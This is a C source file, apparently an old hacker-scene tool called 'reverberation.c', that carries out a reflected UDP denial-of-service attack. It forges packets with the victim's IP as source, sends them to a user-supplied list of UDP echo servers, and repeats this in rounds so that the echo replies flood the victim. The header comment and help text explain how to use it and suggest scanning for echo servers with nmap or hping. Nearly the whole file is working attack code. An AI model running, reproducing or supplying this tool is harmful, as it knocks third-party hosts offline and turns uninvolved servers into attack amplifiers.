/* 
	reverberation.c		- written by l0om
	reverberation - echo, nachklang, widerhall

	this program has been written to prove the possibility of taking down hosts with DDoS UDP Echo servers.
	an attacker needs a service that responds UDP messages on every unexpected message or simply something like
	an active UDP echo server. those can ge taken out with spoofed UDP packets to a list of other UDP echo 
	servers what will end in an DDoS attack.

	U may scan for UDP echo servers with nmap or hping.

	-f: next argument has to be the ECHO DDoS-Zombie file
	-v: verbose mode
	-r: next arg the rounds to go
	-t: next arg the time to wait after a round of sending packets
	-P: next arg vulnerable port of victims host

	Notes: 
	the echo-zombie file has to look like this:
		1.2.3.4
		2.3.4.5
		3.4.5.6
		[...]
	the default vul port is 7 for echo

*/

#include <stdio.h>
#include <string.h>
#include <signal.h>
#include <netdb.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>
#include <errno.h>
#define __FAVOR_BSD
#include <netinet/ip.h>
#include <netinet/udp.h>

#define ECHOPORT 7
#define ECHOSTR	 "the quick brown fox jumps over the lazy dog"  //stupid shit  :/

ssize_t udpsend(u_int saddr, u_int daddr, unsigned short sport, unsigned short dport, char *data, unsigned short datalen);
unsigned short in_cksum(unsigned short *ptr, int nbytes);
void help(char *p);

/* define the pseudohdr */

struct pseudohdr {              /* for creating the checksums */
  unsigned long saddr;
  unsigned long daddr;
  char useless;
  unsigned char protocol;
  unsigned short length;
};

int verbose;

int main(int argc, char **argv)
{
	int i, rounds=1, sleeptime = 0, vulport = ECHOPORT;
	char buf[512], *filename, *dest = NULL, *payload = ECHOSTR;
	FILE *echozombies = NULL;	
  
	for(i = 1; i < argc; i++)
		if(argv[i][0] == '-')
			switch(argv[i][1]) 
			{
				case 'f':
					filename = (char *)malloc(strlen(argv[++i])+1);
					if(filename == NULL) {
						perror("filename");
						return 1;
					}
					strcpy(filename,argv[i]);
					echozombies = fopen(filename, "r");
					if(echozombies == NULL) {
						perror("fopen");
						return 1;
					}
					break;
				case 'r':
					rounds = atoi(argv[++i]);
					if(errno == EINVAL) {
						printf("illegal count of rounds >>%s<<\n",argv[i]);
						return -1;
					}
					break;
				case 'v':
					verbose = 1; 
					break;
				case 't':
					sleeptime = atoi(argv[++i]);
					if(errno == EINVAL) {
						printf("illegal seconds to sleep >>%s<<\n",argv[i]);
						return -1;
					}
					break;
				case 'P':
					vulport = atoi(argv[++i]);
					if(errno == EINVAL) {
						printf("illegal port to flood >>%s<<\n",argv[i]);
						return -1;
					}
					break;
				case 'p':
					payload = (char *)malloc(strlen(argv[++i])+1);  //memory leek
					if(payload == NULL) {
						perror("malloc");
						return -1;
					}
					strcpy(payload,argv[i]);
					break;
				default:
					printf(">>%s<< unknown option\n",argv[i]);
					return 1;
			}
		else dest = argv[i];

	if(echozombies == NULL || dest == NULL) {
		help(argv[0]);
		return -1;
	}

	printf("action starts\n");
	while(rounds)
	{
		printf("%d rounds to go...\n",rounds);
		while(!feof(echozombies))
		{
			if(fgets(buf, sizeof(buf), echozombies) != NULL)
			{
				buf[strlen(buf)-1] = '\0';
				printf("sending echo packet: src ip:%s  dst ip:%s\n",dest, buf);  //dest=victim buf=zombie
				if(udpsend(inet_addr(dest), inet_addr(buf), vulport, 7, payload, strlen(payload)) == 0) 
				{
					printf("something went wrong while sending - EXIT\n");
					fclose(echozombies);
					free(filename);
					return 0;
				}
			}
		}
		rounds--;
		fseek(echozombies, 0L, SEEK_SET);
		printf("time of reverberation...\n");
		sleep(sleeptime);
	}
	fclose(echozombies);
	free(filename);
	return 0;
}


void help(char *p)
{
	printf("%s [options, <-f zombiefile>] <dest-host-ip>\n",p);
	printf("options:\n");
	printf("-f: next argument has to be the ECHO DDoS-Zombie file\n");
	printf("-v: verbose mode\n");
	printf("-r: next arg the rounds to go\n");
	printf("-t: next arg the time to wait after one round of sending packets (secs)\n");
	printf("-P: next arg vulnerable port of victims host\n");
}

ssize_t udpsend(u_int saddr, u_int daddr, unsigned short sport, unsigned short dport, char *data, unsigned short datalen)
{
            struct  sockaddr_in servaddr;
            struct    iphdr *ip;
            struct    udphdr *udp;
            struct pseudohdr *pseudo;
            char packet[sizeof(struct iphdr)+sizeof(struct udphdr)+datalen];
            int nbytes, sockfd, on = 1;

            sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
            if(sockfd < 0) {
              fprintf(stderr,"cannt creat socket\n");
              return(0);
            }

            if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) == -1) {
              fprintf(stderr, "cannot setsockopt\n");
              return(0);
            }

            memset(packet, 0x00, sizeof(packet));
            memcpy(packet+sizeof(struct iphdr)+sizeof(struct udphdr), data, datalen);

            servaddr.sin_addr.s_addr = daddr;
            servaddr.sin_port = htons(dport);
            servaddr.sin_family = AF_INET;

            ip     = (struct iphdr *)packet;
            udp    = (struct udphdr *)(packet + sizeof(struct iphdr));
            pseudo = (struct pseudohdr *)(packet + sizeof(struct iphdr) - sizeof(struct pseudohdr));


            udp->uh_sport = htons(sport);
            udp->uh_dport = htons(dport);
            udp->uh_sum = 0;
            udp->uh_ulen = htons(sizeof(struct udphdr)+datalen);

            pseudo->saddr    = saddr;
            pseudo->daddr    = daddr;
            pseudo->useless     = 0;
            pseudo->protocol = IPPROTO_UDP;
            pseudo->length   = udp->uh_ulen;

            udp->uh_sum = in_cksum((u_short *)pseudo,sizeof(struct udphdr)+sizeof(struct pseudohdr)+datalen);

            ip->ihl      = 5;
            ip->version  = 4;
            ip->tos      = 0x10;
            ip->tot_len  = sizeof(packet);
            ip->frag_off = 0;
            ip->ttl      = 69;
            ip->protocol = IPPROTO_UDP;
            ip->check    = 0;
            ip->saddr    = saddr;
            ip->daddr    = daddr;
            nbytes = sendto(sockfd, packet, ip->tot_len, 0, (struct sockaddr *)&servaddr, sizeof(servaddr));

            close(sockfd);
            return(nbytes);
}
 

unsigned short in_cksum(unsigned short *ptr, int nbytes)
{
  register long    sum;
  u_short oddbyte;
  register u_short answer;

  sum = 0;
  while(nbytes > 1)
  {
    sum += *ptr++;
    nbytes -= 2;
  }

  if(nbytes == 1)
  {
    oddbyte = 0;
    *((u_char *) &oddbyte) = *(u_char *)ptr;
    sum += oddbyte;
  }
  sum  = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);
  answer = ~sum;
  return(answer);
}

